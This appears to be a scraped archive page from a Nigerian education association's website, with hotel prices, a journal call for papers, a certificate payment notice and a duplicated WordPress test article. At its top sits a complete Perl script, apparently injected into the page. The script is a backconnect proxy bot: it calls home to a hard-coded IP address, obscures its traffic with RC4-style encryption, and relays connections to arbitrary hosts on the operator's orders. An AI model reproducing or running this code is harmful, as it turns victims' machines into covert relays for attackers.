#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.157'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Uncategorized – Page 2 – AITIE

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Port Harcourt – 2018 || Hotel Information

The cost of different categories of hotel accommodations within Choba environment are as follow: Helena Haven Hotel (Contact: 07064407035) Executive Room –  #12,000 Super Executive Room – #15,000   Happy Rollings Hotel (Contact: 08140341852) Room with AC – #5,000  Room with Fan – #4,000   Eze Hotels Alakahia (Contact: 08065170143) Room with AC – #6,500 Room with Fan – #4,500   Habitat Hotel and Resort (Contact: 08136240478)  Classic Room – #10,000  Preffered Room – #13,000 Executive Room – #16,000 Junior Suite – #18,000 Eñegance – #30,000   Anko Home Hotel (Contact: 08033399635).  Rooms ranges from #5,000 to  #4,000

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Call for Paper: Volume 03 – Issue 01 2019

The International Journal of Innovative Technology Integration in Education (IJITIE) is Association for Innovative Technology Integration in Education’s (AITIE) academic journal that aim to focus the attention of researchers, media specialist, and other related fields to the promotion of research and scholarship exercise on integration of innovative technologies in every levels of educational system across the world. It is also aimed at promoting effective practice and formulation of policies to spread the campaign for innovative technology integration in teaching and learning The journal is being published in Nigeria since the year 2017. It is academic, online, open access, and a peer-reviewed international journal. Papers for the regular issues of the journal can be submitted, round the year, electronically through https://ijitie.aitie.org.ng/index.php/ijitie  After the final acceptance of the paper, based upon the detailed reviewed process, the paper will immediately be published online. Thank You.

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AITIE WEBINARS CERTIFICATES

Interested participants can hereby apply for their certificates using the link below. Kindly note that you need to make a payment of #1,000.00 to the Association\’s Account Number as detailed below Bank Name: Diamond Bank Plc Account Name: Association for Innovative Technology Integration in Education Account No: 0087311997   Please note that applicants must have registered and also attend the webinar.  Fill in your details here  or Click here https://forms.office.com/Pages/ResponsePage.aspx?id=DQSIkWdsW0yxEjajBLZtrQAAAAAAAAAAAAN__szJGupUOEtJUDFIMU9OV05LOEpIU0FQVjlQUVowUy4u   Thank You.

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Microsoft: Empowering the Digital World

Microsoft is a global technology company known for shaping the modern digital experience. From its iconic Windows operating system to the versatile Microsoft Office suite, the company has provided tools that support both personal productivity and enterprise innovation. Visit the official website at microsoft.com to explore its offerings. Microsoft has also become a major player in cloud computing through Azure, and in business collaboration with Microsoft Teams. Its investments in artificial intelligence, gaming (via Xbox), and hardware (like Surface devices) reflect a broad vision for the future of tech. Key Innovations by Microsoft Windows OS and Microsoft Office — foundational software for millions worldwide Azure cloud services — empowering digital transformation for businesses Xbox gaming platform — connecting entertainment and technology Surface devices — combining performance with sleek design AI integration and responsible innovation — shaping the future responsibly With decades of experience and a continued focus on progress, Microsoft remains a leader in the global tech landscape. This is a test article created for demonstration purposes in WordPress.

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Microsoft: Empowering the Digital World

Microsoft is a global technology company known for shaping the modern digital experience. From its iconic Windows operating system to the versatile Microsoft Office suite, the company has provided tools that support both personal productivity and enterprise innovation. Visit the official website at microsoft.com to explore its offerings. Microsoft has also become a major player in cloud computing through Azure, and in business collaboration with Microsoft Teams. Its investments in artificial intelligence, gaming (via Xbox), and hardware (like Surface devices) reflect a broad vision for the future of tech. Key Innovations by Microsoft Windows OS and Microsoft Office — foundational software for millions worldwide Azure cloud services — empowering digital transformation for businesses Xbox gaming platform — connecting entertainment and technology Surface devices — combining performance with sleek design AI integration and responsible innovation — shaping the future responsibly With decades of experience and a continued focus on progress, Microsoft remains a leader in the global tech landscape. This is a test article created for demonstration purposes in WordPress.

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